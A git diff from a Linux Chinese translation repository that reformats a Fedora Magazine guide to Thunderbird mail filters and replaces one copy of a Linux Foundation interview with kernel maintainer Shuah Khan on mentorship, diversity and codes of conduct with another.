pre-set for you as shown in the image above. Complete this filter as follows: +The property (*From*), test (*is*), and value (email) are pre-set for you as shown in the image above. Complete this filter as follows: - 1. Enter an appropriate name in the textbox labelled _Filter name:_. _COVID_ is the name in this case. - 2. Check that the property is _From_. - 3. Verify the test is set to _is_. - 4. Confirm that the value for the email address is from the correct sender. - 5. Select the “+” to the right of the _From_ rule to create a new filter rule. - 6. In the new rule, change the default property entry _From_ to _Subject_ using the pulldown menu. - 7. Set the test to _contains_. - 8. Enter the value text to be matched in the Email “Subject” line. In this case _COVID_. +1. Enter an appropriate name in the textbox labelled Filter name:. COVID is the name in this case. +2. Check that the property is From. +3. Verify the test is set to is. +4. Confirm that the value for the email address is from the correct sender. +5. Select the “+” to the right of the From rule to create a new filter rule. +6. In the new rule, change the default property entry From to Subject using the pulldown menu. +7. Set the test to contains. +8. Enter the value text to be matched in the Email “Subject” line. In this case COVID. +Since we left the *Match all of the following* item checked, each message will be from the address chosen AND will have the text *COVID* in the email subject line. +Now use the action rule to choose the destination for the messages under the *Perform these actions:* section at the bottom: -Since we left the _Match all of the following_ item checked, each message will be from the address chosen AND will have the text _COVID_ in the email subject line. +1. Select Move Messages to from the left menu. +2. Select Choose Folder… and select Local Folders > COVID in Scotland. (This destination was created before this example was started. There was no magic here.) +3. Select OK. -Now use the action rule to choose the destination for the messages under the _Perform these actions:_ section at the bottom: - - 1. Select _Move Messages to_ from the left menu. - 2. Select _Choose Folder…_ and select _Local Folders > COVID in Scotland_. (This destination was created before this example was started. There was no magic here.) - 3. Select _OK_. - - - -_OK_ will cause the _Message Filters_ menu to appear, again, verifying that the new filter has been created. +*OK* will cause the *Message Filters* menu to appear, again, verifying that the new filter has been created. ### The Message Filters menu -All the message filters you create will appear in the _Message Filters_ menu. Recall that the _Message Filters_ is available in the menu bar at _Tools > Message Filters_. +All the message filters you create will appear in the *Message Filters* menu. Recall that the *Message Filters* is available in the menu bar at *Tools > Message Filters*. -Once you have created filters there are several options to manage them. To change a filter, select the filter in question and click on the _Edit_ button. This will take you back to the _Filter Rules_ menu for that filter. As mentioned earlier, you can change the order in which the rules are apply here using the _Move_ buttons. Disable a filter by clicking on the check mark in the _Enabled_ column. +Once you have created filters there are several options to manage them. To change a filter, select the filter in question and click on the *Edit* button. This will take you back to the *Filter Rules* menu for that filter. As mentioned earlier, you can change the order in which the rules are apply here using the *Move* buttons. Disable a filter by clicking on the check mark in the *Enabled* column. ![][11] -The _Run Now_ button will execute the selected filter immediately. You may also run your filter from the menu bar using _Tools > Run Filters on Folder_ or _Tools > Run Filters on Message_. +The *Run Now* button will execute the selected filter immediately. You may also run your filter from the menu bar using *Tools > Run Filters on Folder* or *Tools > Run Filters on Message*. ### Next step -This article hasn’t covered every feature available for message filtering but hopefully it provides enough information for you to get started. Places for further investigation are the “property”, “test”, and “actions” in the _Filter menu_ as well as the settings there for when your filter is to be run, _Archiving, After Sending,_ and _Periodically_. +This article hasn’t covered every feature available for message filtering but hopefully it provides enough information for you to get started. Places for further investigation are the “property”, “test”, and “actions” in the *Filter menu* as well as the settings there for when your filter is to be run, *Archiving, After Sending,* and *Periodically*. ### References -Mozilla: [Organize][12] [Your Messages][12] [by Using Filters][12] +Mozilla: [Organize][12][Your Messages][13][by Using Filters][14] -MozillaZine: [Message][13] [Filters][13] +MozillaZine: [Message][15][Filters][16] -------------------------------------------------------------------------------- via: https://fedoramagazine.org/introduction-to-thunderbird-mail-filters/ 作者:[Richard England][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://fedoramagazine.org/author/rlengland/ -[b]: https://github.com/lujun9972 +[b]: https://github.com/lkxed [1]: https://fedoramagazine.org/wp-content/uploads/2021/01/Tbird_mail_filters-1-816x345.jpg [2]: https://fedoramagazine.org/wp-content/uploads/2021/01/Image_001-1024x613.png [3]: https://fedoramagazine.org/wp-content/uploads/2021/01/Image_New_Folder.png @@ -171,4 +158,7 @@ via: https://fedoramagazine.org/introduction-to-thunderbird-mail-filters/ [10]: https://fedoramagazine.org/wp-content/uploads/2021/01/Filter_rules_2-1.png [11]: https://fedoramagazine.org/wp-content/uploads/2021/01/Message_Filters_2nd_entry.png [12]: https://support.mozilla.org/en-US/kb/organize-your-messages-using-filters -[13]: http://kb.mozillazine.org/Filters_%28Thunderbird%29 +[13]: https://support.mozilla.org/en-US/kb/organize-your-messages-using-filters +[14]: https://support.mozilla.org/en-US/kb/organize-your-messages-using-filters +[15]: http://kb.mozillazine.org/Filters_%28Thunderbird%29 +[16]: http://kb.mozillazine.org/Filters_%28Thunderbird%29 diff --git a/sources/tech/20210128 Interview with Shuah Khan, Kernel Maintainer & Linux Fellow.md b/sources/tech/20210128 Interview with Shuah Khan, Kernel Maintainer & Linux Fellow.md new file mode 100644 index 0000000000..09152cb53a --- /dev/null +++ b/sources/tech/20210128 Interview with Shuah Khan, Kernel Maintainer & Linux Fellow.md @@ -0,0 +1,170 @@ +[#]: subject: "Interview with Shuah Khan, Kernel Maintainer & Linux Fellow" +[#]: via: "https://www.linux.com/news/interview-with-shuah-khan-kernel-maintainer-linux-fellow/" +[#]: author: "The Linux Foundation https://www.linuxfoundation.org/en/blog/interview-with-shuah-khan-kernel-maintainer-linux-fellow/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Interview with Shuah Khan, Kernel Maintainer & Linux Fellow +====== +Jason Perlow, Director of Project Insights and Editorial Content at the Linux Foundation, had an opportunity to speak with Shuah Khan about her experiences as a woman in the technology industry. She discusses how mentorship can improve the overall diversity and makeup of open source projects, why software maintainers are important for the health of open source projects such as the Linux kernel, and how language inclusivity and codes of conduct can improve relationships and communication between software maintainers and individual contributors. + +**JP:** So, Shuah, I know you wear many different hats at the Linux Foundation. What do you call yourself around here these days? + +**SK:** Well, I primarily call myself a Kernel Maintainer & Linux Fellow. In addition to that, I focus on two areas that are important to the continued health and sustainability of the open source projects in the Linux ecosystem. The first one is bringing more women into the Kernel community, and additionally, I am leading the mentorship program efforts overall at the Linux Foundation. And in that role, in addition to the Linux Kernel Mentorship, we are looking at how the Linux Foundation mentorship program is working overall, how it is scaling. I make sure the [LFX Mentorship][1] platform scales and serves diverse mentees and mentors’ needs in this role. + +The LF mentorships program includes several projects in the Linux kernel, LFN, HyperLedger, Open MainFrame, OpenHPC, and other technologies. [The Linux Foundation’s Mentorship Programs][2] are designed to help developers with the necessary skills–many of whom are first-time open source contributors–experiment, learn, and contribute effectively to open source communities. + +The mentorship program has been successful in its mission to train new developers and make these talented pools of prospective employees trained by experts to employers. Several graduated mentees have found jobs. New developers have improved the quality and security of various open source projects, including the Linux kernel. Several Linux kernel bugs were fixed, a new subsystem mentor was added, and a new driver maintainer is now part of the Linux kernel community. My sincere thanks to all our mentors for volunteering to share their expertise. + +**JP:** How long have you been working on the Kernel? + +**SK:** Since 2010, or 2011, I got involved in the [Android Mainlining project][3]. My [first patch removed the Android pmem driver][4]. + +**JP:** Wow! Is there any particular subsystem that you specialize in? + +**SK:** I am a self described generalist. I maintain the [kernel self-test][5] subsystem, the [USB over IP driver][6], [usbip tool][7], and the [cpupower][8] tool. I contributed to the media subsystem working on [Media Controller Device Allocator API][9] to resolve shared device resource management problems across device drivers from different subsystems. + +**JP:** Hey, I’ve [actually used the USB over IP driver][10] when I worked at Microsoft on Azure. And also, when I’ve used AWS and Google Compute. + +**SK:** It’s a small niche driver used in cloud computing. Docker and other containers use that driver heavily. That’s how they provide remote access to USB devices on the server to export devices to be imported by other systems for use. + +**JP:** I initially used it for IoT kinds of stuff in the embedded systems space. Were you the original lead developer on it, or was it one of those things you fell into because nobody else was maintaining it? + +**SK:** Well, twofold. I was looking at USB over IP because I like that technology. it just so happened the driver was brought from the staging tree into the Mainline kernel, I volunteered at the time to maintain it. Over the last few years, we discovered some security issues with it, because it handles a lot of userspace data, so I had a lot of fun fixing all of those. . + +**JP:** What drew you into the Linux operating system, and what drew you into the kernel development community in the first place? + +**SK:** Well, I have been doing kernel development for a very long time. I worked on the [LynxOS RTOS][11], a while back, and then HP/UX, when I was working at HP, after which I transitioned into  doing open source development — the [OpenHPI][12] project, to support HP’s rack server hardware, and that allowed me to work much more closely with Linux on the back end. And at some point, I decided I wanted to work with the kernel and become part of the Linux kernel community. I started as an independent contributor. + +**JP:** Maybe it just displays my own ignorance, but you are the first female, hardcore Linux kernel developer I have ever met. I mean, I had met female core OS developers before — such as when I was at Microsoft and IBM — but not for Linux. Why do you suppose we lack women and diversity in general when participating in open source and the technology industry overall? + +**SK:** So I’ll answer this question from my perspective, from what I have seen and experienced, over the years. You are right; you probably don’t come across that many hardcore women Kernel developers. I’ve been working professionally in this industry since the early 1990s, and on every project I have been involved with, I am usually the only woman sitting at the table. Some of it, I think, is culture and society. There are some roles that we are told are acceptable to women — even me, when I was thinking about going into engineering as a profession. Some of it has to do with where we are guided, as a natural path. + +There’s a natural resistance to choosing certain professions that you have to overcome first within yourself and externally. This process is different for everybody based on their personality and their origin story. And once you go through the hurdle of getting your engineering degree and figuring out which industry you want to work in, there is a level of establishing credibility in those work environments you have to endure and persevere. Sometimes when I would walk into a room, I felt like people were looking at me and thinking, “why is she here?” You aren’t accepted right away, and you have to overcome that as well. You have to go in there and say, “I am here because I want to be here, and therefore, I belong here.” You have to have that mindset. Society sends you signals that “this profession is not for me” — and you have to be aware of that and resist it. I consider myself an engineer that happens to be a woman as opposed to a woman engineer. + +**JP:** Are you from India, originally? + +**SK:** Yes. + +**JP:** It’s funny; my wife really likes this [Netflix show about matchmaking in India][13]. Are you familiar with it? + +**SK:** Yes I enjoyed the series, and [A Suitable Girl][14] documentary film that follows three women as they navigate making decisions about their careers and family obligations. + +**JP:** For many Americans, this is our first introduction to what home life is like for Indian people. But many of the women featured on this show are professionals, such as doctors, lawyers, and engineers. And they are very ambitious, but of course, the family tries to set them up in a marriage to find a husband for them that is compatible. As a result, you get to learn about the traditional values and roles they still want women to play there — while at the same time, many women are coming out of higher learning institutions in that country that are seeking technical careers. + +**SK:** India is a very fascinatingly complex place. But generally speaking, in a global sense, having an environment at home where your parents tell you that you may choose any profession you want to choose is very encouraging. I was extremely fortunate to have parents like that. They never said to me that there was a role or a mold that I needed to fit into. They have always told me, “do what you want to do.” Which is different; I don’t find that even here, in the US. Having that support system, beginning in the home to tell you, “you are open to whatever profession you want to choose,” is essential. That’s where a lot of the change has to come from. + +**JP:** Women in technical and STEM professions are becoming much more prominent in other countries, such as China, Japan, and Korea. For some reason, in the US, I tend to see more women enter the medical profession than hard technology — and it might be a level of effort and perceived reward thing. You can spend eight years becoming a medical doctor or eight years becoming a scientist or an engineer, and it can be equally difficult, but the compensation at the end may not be the same. It’s expensive to get an education, and it takes a long time and hard work, regardless of the professional discipline. + +**SK:** I have also heard that women also like to enter professions where they can make a difference in the world — a human touch, if you will. So that may translate to them choosing careers where they can make a larger impact on people — and they may view careers in technology as not having those same attributes. Maybe when we think about attracting women to technology fields, we might have to promote technology aspects that make a difference. That may be changing now, such as the [LF Public Health][15] (LFPH) project we kicked off last year. And with [LF AI & Data Foundation][16], we are also making a difference in people’s lives, such as [detecting earthquakes][17] or [analyzing climate change][18]. If we were to promote projects such as these, we might draw more women in. + +**JP:** So clearly, one of the areas of technology where you can make a difference is in open source, as the LF is hosting some very high-concept and existential types of projects such as [LF Energy][19], for example — I had no idea what was involved in it and what its goals were until I spoke to [Shuli Goodman][20] in-depth about it. With the mentorship program, I assume we need this to attract fresh talent — because as folks like us get older and retire, and they exit the field, we need new people to replace them. So I assume mentorship, for the Linux Foundation, is an investment in our own technologies, correct? + +**SK:** Correct. Bringing in new developers into the fold is the primary purpose, of course — and at the same time, I view the LF as taking on mentorship provides that neutral, level playing field across the industry for all open source projects. Secondly, we offer a self-service platform, [LFX Mentorship][21], where anyone can come in and start their project. So when the COVID-19 pandemic began, we [expanded this program to help displaced people][22] — students, et cetera, and less visible projects. Not all projects typically get as much funding or attention as others do — such as a Kubernetes or  Linux kernel — among the COVID mentorship program projects we are funding. I am particularly proud of supporting a climate change-related project, [Using Machine Learning to Predict Deforestation][23]. + +The self-service approach allows us to fund and add new developers to projects where they are needed. The LF mentorships are remote work opportunities that are accessible to developers around the globe. We see people sign up for mentorship projects from places we haven’t seen before, such as Africa, and so on, thus creating a level playing field. + +The other thing that we are trying to increase focus on is how do you get maintainers? Getting new developers is a starting point, but how do we get them to continue working on the projects they are mentored on? As you said, someday, you and I and others working on these things are going to retire, maybe five or ten years from now. This is a harder problem to solve than training and adding new developers to the project itself. + +**JP:** And that is core to our [software supply chain security mission][24]. It’s one thing to have this new, flashy project, and then all these developers say, “oh wow, this is cool, I want to join that,” but then, you have to have a certain number of people maintaining it for it to have long-term viability. As we learned in our [FOSS study with Harvard][25], there are components in the Linux operating system that are like this. Perhaps even modules within the kernel itself, I assume that maybe you might have only one or two people actively maintaining it for many years. And what happens if that person dies or can no longer work? What happens to that code? And if someone isn’t familiar with that code, it might become abandoned. That’s a serious problem in open source right now, isn’t it? + +**SK:** Right. We have seen that with SSH and other security-critical areas. What if you don’t have the bandwidth to fix it? Or the money to fix it? I ended up volunteering to maintain a tool for a similar reason when the maintainer could no longer contribute regularly. It is true; we have many drivers where maintainer bandwidth is an issue in the kernel. So the question is, how do we grow that talent pool? + +**JP:** Do we need a job board or something? We need X number of maintainers. So should we say, “Hey, we know you want to join the kernel project as a contributor, and we have other people working on this thing, but we really need your help working on something else, and if you do a good job, we know tons of companies willing to hire developers just like you?” + +**SK:** With the kernel, we are talking about organic growth; it is just like any other open source project. It’s not a traditional hire and talent placement scenario. Organically they have to have credibility, and they have to acquire it through experience and relationships with people on those projects. We just talked about it at the previous [Linux Plumbers Conference][26], we do have areas where we really need maintainers, and the [MAINTAINERS][27] file does show areas where they need help. + +To answer your question, it’s not one of those things where we can seek people to fill that role, like LinkedIn or one of the other job sites. It has to be an organic fulfillment of that role, so the mentorship program is essential in creating those relationships. It is the double-edged sword of open source; it is both the strength and weakness. People need to have an interest in becoming a maintainer and also a commitment to being one, long term. + +**JP:** So, what do you see as the future of your mentorship and diversity efforts at the Linux Foundation? What are you particularly excited about that is forthcoming that you are working on? + +**SK:** I view the Linux Foundation mentoring as a three-pronged approach to provide unstructured webinars, training courses, and structured mentoring programs. All of these efforts combine to advance a diverse, healthy, and vibrant open source community. So over the past several months, we have been morphing our speed mentorship style format into an expanded webinar format — the [LF Live Mentorship series][28]. This will have the function of growing our next level of expertise. As a complement to our traditional mentorship programs, these are webinars and courses that are an hour and a half long that we hold a few times a month that tackle specific technical areas in software development. So it might cover how to write great commit logs, for example, for your patches to be accepted, or how to find bugs in C code. Commit logs are one of those things that are important to code maintenance, so promoting good documentation is a beneficial thing. Webinars provide a way for experts short on time to share their knowledge with a few hours of time commitment and offer a self-paced learning opportunity to new developers. + +Additionally, I have started the [Linux Kernel Mentorship forum][29] for developers and their mentors to connect and interact with others participating in the Linux Kernel Mentorship program and graduated mentees to mentor new developers. We kicked off [Linux Kernel mentorship Spring 2021][30] and are planning for Summer and Fall. + +A big challenge is we are short on mentors to be able to scale the structured program. Solving the problem requires help from LF member companies and others to encourage their employees to mentor, “it takes a village,” they say. + +**JP:** So this webinar series and the expanded mentorship program will help developers cultivate both hard and soft skills, then. + +**SK:** Correct. The thing about doing webinars is that if we are talking about this from a diversity perspective, they might not have time for a full-length mentorship, typically like a three-month or six-month commitment. This might help them expand their resources for self-study. When we ask for developers’ feedback about what else they need to learn new skill sets, we hear that they don’t have resources, don’t have time to do self-study, and learn to become open source developers and software maintainers. This webinar series covers general open source software topics such as the Linux kernel and legal issues. It could also cover topics specific to other LF projects such as CNCF, Hyperledger, LF Networking, etc. + +**JP:** Anything else we should know about the mentorship program in 2021? + +**SK:** In my view,  attracting diversity and new people is two-fold. One of the things we are working on is inclusive language. Now, we’re not talking about curbing harsh words, although that is a component of what we are looking at. The English you and I use in North America isn’t the same English used elsewhere. As an example, when we use North American-centric terms in our email communications, such as when a maintainer is communicating on a list with people from South Korea, something like “where the rubber meets the road” may not make sense to them at all. So we have to be aware of that. + +**JP:** I know that you are serving on the [Linux kernel Code of Conduct Committee][31] and actively developing the handbook. When I first joined the Linux Foundation, I learned what the Community Managers do and our governance model. I didn’t realize that we even needed to have codes of conduct for open source projects. I have been covering open source for 25 years, but I come out of the corporate world, such as IBM and Microsoft. Codes of Conduct are typically things that the Human Resources officer shows you during your initial onboarding, as part of reviewing your employee manual. You are expected to follow those rules as a condition of employment. + +So why do we need Codes of Conduct in an open source project? Is it because these are people who are coming from all sorts of different backgrounds, companies, and ways of life, and may not have interacted in this form of organized and distributed project before? Or is it about personalities, people interacting with each other over long distance, and email, which creates situations that may arise due to that separation? + +**SK:** Yes, I come out of the corporate world as well, and of course, we had to practice those codes of conduct in that setting. But conduct situations arise that you have to deal with in the corporate world. There are always interpersonal scenarios that can be difficult or challenging to work with — the corporate world isn’t better than the open source world in that respect. It is just that all of that happens behind a closed setting. + +But there is no accountability in the open source world because everyone participates out of their own free will. So on a small, traditional closed project, inside the corporate world, where you might have 20 people involved, you might get one or two people that could be difficult to work with. The same thing happens and is multiplied many times in the open source community, where you have hundreds of thousands of developers working across many different open source projects. + +The biggest problem with these types of projects when you encounter situations such as this is dealing with participation in public forums. In the corporate world, this can be addressed in private. But on a public mailing list, if you are being put down or talked down to, it can be extremely humiliating. + +These interactions are not always extreme cases; they could be simple as a maintainer or a lead developer providing negative feedback — so how do you give it? It has to be done constructively. And that is true for all of us. + +**JP:** Anything else? + +**SK:** In addition to bringing our learnings and applying this to the kernel project, I am also doing this on the [ELISA][32] project, where I chair the Technical Steering Committee, where I am bridging communication between experts from the kernel and the safety communities. To make sure we can use the kernel the best ways in safety-critical applications, in the automotive and medical industry, and so on. Many lessons can be learned in terms of connecting the dots, defining clearly what is essential to make Linux run effectively in these environments, in terms of dependability. How can we think more proactively instead of being engaged in fire-fighting in terms of security or kernel bugs? As a result of this, I am also working on any necessary kernel changes needed to support these safety-critical usage scenarios. + +**JP:** Before we go, what are you passionate about besides all this software stuff? If you have any free time left, what else do you enjoy doing? + +**SK:** I read a lot. COVID quarantine has given me plenty of opportunities to read. I like to go hiking, snowshoeing, and other outdoor activities. Living in Colorado gives me ample opportunities to be in nature. I also like backpacking — while I wasn’t able to do it last year because of COVID — I like to take backpacking trips with my son. I also love to go to conferences and travel, so I am looking forward to doing that again as soon as we are able. + +Talking about backpacking reminded me of the two-day, 22-mile backpacking trip during the summer of 2019 with my son. You can see me in the picture above at the end of the road, carrying a bearbox, sleeping bag, and hammock. It was worth injuring my foot and hurting in places I didn’t even know I had. + +**JP:** Awesome. I enjoyed talking to you today. So happy I finally got to meet you virtually. + +The post [Interview with Shuah Khan, Kernel Maintainer & Linux Fellow][33] appeared first on [Linux Foundation][34]. + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/news/interview-with-shuah-khan-kernel-maintainer-linux-fellow/ + +作者:[The Linux Foundation][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxfoundation.org/en/blog/interview-with-shuah-khan-kernel-maintainer-linux-fellow/ +[b]: https://github.com/lkxed +[1]: https://lfx.linuxfoundation.org/tools/mentorship/ +[2]: https://linuxfoundation.org/about/diversity-inclusivity/mentorship/ +[3]: https://elinux.org/Android_Mainlining_Project +[4]: https://lkml.org/lkml/2012/1/26/368 +[5]: https://www.kernel.org/doc/html/v4.15/dev-tools/kselftest.html +[6]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/usb/usbip +[7]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/tools/usb/usbip +[8]: https://www.systutorials.com/docs/linux/man/1-cpupower/ +[9]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/media/mc/mc-dev-allocator.c +[10]: https://www.linux-magazine.com/Issues/2018/208/Tutorial-USB-IP +[11]: https://en.wikipedia.org/wiki/LynxOS +[12]: http://www.openhpi.org/Developers +[13]: https://www.netflix.com/title/80244565 +[14]: https://en.wikipedia.org/wiki/A_Suitable_Girl_(film) +[15]: https://www.lfph.io/ +[16]: https://lfaidata.foundation/ +[17]: https://openeew.com/ +[18]: https://www.os-climate.org/ +[19]: https://www.lfenergy.org/ +[20]: https://www.linux.com/mailto:sgoodman@contractor.linuxfoundation.org +[21]: https://mentorship.lfx.linuxfoundation.org/ +[22]: https://linuxfoundation.org/about/diversity-inclusivity/mentorship/ +[23]: https://mentorship.lfx.linuxfoundation.org/project/926665ac-9b96-45aa-bb11-5d99096be870 +[24]: https://www.linuxfoundation.org/en/blog/preventing-supply-chain-attacks-like-solarwinds/ +[25]: https://www.linuxfoundation.org/en/press-release/new-open-source-contributor-report-from-linux-foundation-and-harvard-identifies-motivations-and-opportunities-for-improving-software-security/ +[26]: https://www.linuxplumbersconf.org/ +[27]: https://www.kernel.org/doc/linux/MAINTAINERS +[28]: https://events.linuxfoundation.org/lf-live-mentorship-series/ +[29]: https://forum.linuxfoundation.org/categories/lfx-mentorship-linux-kernel +[30]: https://forum.linuxfoundation.org/discussion/858202/linux-kernel-mentorship-spring-projects-are-now-accepting-applications#latest +[31]: https://www.kernel.org/code-of-conduct.html +[32]: https://elisa.tech/ +[33]: https://www.linuxfoundation.org/en/blog/interview-with-shuah-khan-kernel-maintainer-linux-fellow/ +[34]: https://www.linuxfoundation.org/ diff --git a/sources/tech/20210128 Interview with Shuah Khan, Kernel Maintainer - Linux Fellow.md b/sources/tech/20210128 Interview with Shuah Khan, Kernel Maintainer - Linux Fellow.md deleted file mode 100644 index 1d22b6f0fb..0000000000 --- a/sources/tech/20210128 Interview with Shuah Khan, Kernel Maintainer - Linux Fellow.md +++ /dev/null @@ -1,173 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Interview with Shuah Khan, Kernel Maintainer & Linux Fellow) -[#]: via: (https://www.linux.com/news/interview-with-shuah-khan-kernel-maintainer-linux-fellow/) -[#]: author: (The Linux Foundation https://www.linuxfoundation.org/en/blog/interview-with-shuah-khan-kernel-maintainer-linux-fellow/) - -Interview with Shuah Khan, Kernel Maintainer & Linux Fellow -====== - -![][1] - -_Jason Perlow, Director of Project Insights and Editorial Content at the Linux Foundation, had an opportunity to speak with Shuah Khan about her experiences as a woman in the technology industry. She discusses how mentorship can improve the overall diversity and makeup of open source projects, why software maintainers are important for the health of open source projects such as the Linux kernel, and how language inclusivity and codes of conduct can improve relationships and communication between software maintainers and individual contributors._ - -**JP:** So, Shuah, I know you wear many different hats at the Linux Foundation. What do you call yourself around here these days? - -**SK:** <laughs> Well, I primarily call myself a Kernel Maintainer & Linux Fellow. In addition to that, I focus on two areas that are important to the continued health and sustainability of the open source projects in the Linux ecosystem. The first one is bringing more women into the Kernel community, and additionally, I am leading the mentorship program efforts overall at the Linux Foundation. And in that role, in addition to the Linux Kernel Mentorship, we are looking at how the Linux Foundation mentorship program is working overall, how it is scaling. I make sure the [LFX Mentorship][2] platform scales and serves diverse mentees and mentors’ needs in this role. - -The LF mentorships program includes several projects in the Linux kernel, LFN, HyperLedger, Open MainFrame, OpenHPC, and other technologies. [The Linux Foundation’s Mentorship Programs][3] are designed to help developers with the necessary skills–many of whom are first-time open source contributors–experiment, learn, and contribute effectively to open source communities. - -The mentorship program has been successful in its mission to train new developers and make these talented pools of prospective employees trained by experts to employers. Several graduated mentees have found jobs. New developers have improved the quality and security of various open source projects, including the Linux kernel. Several Linux kernel bugs were fixed, a new subsystem mentor was added, and a new driver maintainer is now part of the Linux kernel community. My sincere thanks to all our mentors for volunteering to share their expertise. - -**JP:** How long have you been working on the Kernel? - -**SK:** Since 2010, or 2011, I got involved in the [Android Mainlining project][4]. My [first patch removed the Android pmem driver][5]. - -**JP:** Wow! Is there any particular subsystem that you specialize in? - -**SK:** I am a self described generalist. I maintain the [kernel self-test][6] subsystem, the [USB over IP driver][7], [usbip tool][8], and the [cpupower][9] tool. I contributed to the media subsystem working on [Media Controller Device Allocator API][10] to resolve shared device resource management problems across device drivers from different subsystems. - -**JP:** Hey, I’ve [actually used the USB over IP driver][11] when I worked at Microsoft on Azure. And also, when I’ve used AWS and Google Compute. - -**SK:** It’s a small niche driver used in cloud computing. Docker and other containers use that driver heavily. That’s how they provide remote access to USB devices on the server to export devices to be imported by other systems for use. - -**JP:** I initially used it for IoT kinds of stuff in the embedded systems space. Were you the original lead developer on it, or was it one of those things you fell into because nobody else was maintaining it? - -**SK:** Well, twofold. I was looking at USB over IP because I like that technology. it just so happened the driver was brought from the staging tree into the Mainline kernel, I volunteered at the time to maintain it. Over the last few years, we discovered some security issues with it, because it handles a lot of userspace data, so I had a lot of fun fixing all of those. <laugh>. - -**JP:** What drew you into the Linux operating system, and what drew you into the kernel development community in the first place? - -**SK:** Well, I have been doing kernel development for a very long time. I worked on the [LynxOS RTOS][12], a while back, and then HP/UX, when I was working at HP, after which I transitioned into  doing open source development — the [OpenHPI][13] project, to support HP’s rack server hardware, and that allowed me to work much more closely with Linux on the back end. And at some point, I decided I wanted to work with the kernel and become part of the Linux kernel community. I started as an independent contributor. - -**JP:** Maybe it just displays my own ignorance, but you are the first female, hardcore Linux kernel developer I have ever met. I mean, I had met female core OS developers before — such as when I was at Microsoft and IBM — but not for Linux. Why do you suppose we lack women and diversity in general when participating in open source and the technology industry overall? - -**SK:** So I’ll answer this question from my perspective, from what I have seen and experienced, over the years. You are right; you probably don’t come across that many hardcore women Kernel developers. I’ve been working professionally in this industry since the early 1990s, and on every project I have been involved with, I am usually the only woman sitting at the table. Some of it, I think, is culture and society. There are some roles that we are told are acceptable to women — even me, when I was thinking about going into engineering as a profession. Some of it has to do with where we are guided, as a natural path. - -There’s a natural resistance to choosing certain professions that you have to overcome first within yourself and externally. This process is different for everybody based on their personality and their origin story. And once you go through the hurdle of getting your engineering degree and figuring out which industry you want to work in, there is a level of establishing credibility in those work environments you have to endure and persevere. Sometimes when I would walk into a room, I felt like people were looking at me and thinking, “why is she here?” You aren’t accepted right away, and you have to overcome that as well. You have to go in there and say, “I am here because I want to be here, and therefore, I belong here.” You have to have that mindset. Society sends you signals that “this profession is not for me” — and you have to be aware of that and resist it. I consider myself an engineer that happens to be a woman as opposed to a woman engineer. - -**JP:** Are you from India, originally? - -**SK:** Yes. - -**JP:** It’s funny; my wife really likes this [Netflix show about matchmaking in India][14]. Are you familiar with it? - -**SK:** <laughs> Yes I enjoyed the series, and [A Suitable Girl][15] documentary film that follows three women as they navigate making decisions about their careers and family obligations. - -**JP:** For many Americans, this is our first introduction to what home life is like for Indian people. But many of the women featured on this show are professionals, such as doctors, lawyers, and engineers. And they are very ambitious, but of course, the family tries to set them up in a marriage to find a husband for them that is compatible. As a result, you get to learn about the traditional values and roles they still want women to play there — while at the same time, many women are coming out of higher learning institutions in that country that are seeking technical careers. - -**SK:** India is a very fascinatingly complex place. But generally speaking, in a global sense, having an environment at home where your parents tell you that you may choose any profession you want to choose is very encouraging. I was extremely fortunate to have parents like that. They never said to me that there was a role or a mold that I needed to fit into. They have always told me, “do what you want to do.” Which is different; I don’t find that even here, in the US. Having that support system, beginning in the home to tell you, “you are open to whatever profession you want to choose,” is essential. That’s where a lot of the change has to come from. - -**JP:** Women in technical and STEM professions are becoming much more prominent in other countries, such as China, Japan, and Korea. For some reason, in the US, I tend to see more women enter the medical profession than hard technology — and it might be a level of effort and perceived reward thing. You can spend eight years becoming a medical doctor or eight years becoming a scientist or an engineer, and it can be equally difficult, but the compensation at the end may not be the same. It’s expensive to get an education, and it takes a long time and hard work, regardless of the professional discipline. - -**SK:** I have also heard that women also like to enter professions where they can make a difference in the world — a human touch, if you will. So that may translate to them choosing careers where they can make a larger impact on people — and they may view careers in technology as not having those same attributes. Maybe when we think about attracting women to technology fields, we might have to promote technology aspects that make a difference. That may be changing now, such as the [LF Public Health][16] (LFPH) project we kicked off last year. And with [LF AI & Data Foundation][17], we are also making a difference in people’s lives, such as [detecting earthquakes][18] or [analyzing climate change][19]. If we were to promote projects such as these, we might draw more women in. - -**JP:** So clearly, one of the areas of technology where you can make a difference is in open source, as the LF is hosting some very high-concept and existential types of projects such as [LF Energy][20], for example — I had no idea what was involved in it and what its goals were until I spoke to [Shuli Goodman][21] in-depth about it. With the mentorship program, I assume we need this to attract fresh talent — because as folks like us get older and retire, and they exit the field, we need new people to replace them. So I assume mentorship, for the Linux Foundation, is an investment in our own technologies, correct? - -**SK:** Correct. Bringing in new developers into the fold is the primary purpose, of course — and at the same time, I view the LF as taking on mentorship provides that neutral, level playing field across the industry for all open source projects. Secondly, we offer a self-service platform, [LFX Mentorship][22], where anyone can come in and start their project. So when the COVID-19 pandemic began, we [expanded this program to help displaced people][3] — students, et cetera, and less visible projects. Not all projects typically get as much funding or attention as others do — such as a Kubernetes or  Linux kernel — among the COVID mentorship program projects we are funding. I am particularly proud of supporting a climate change-related project, [Using Machine Learning to Predict Deforestation][23]. - -The self-service approach allows us to fund and add new developers to projects where they are needed. The LF mentorships are remote work opportunities that are accessible to developers around the globe. We see people sign up for mentorship projects from places we haven’t seen before, such as Africa, and so on, thus creating a level playing field. - -The other thing that we are trying to increase focus on is how do you get maintainers? Getting new developers is a starting point, but how do we get them to continue working on the projects they are mentored on? As you said, 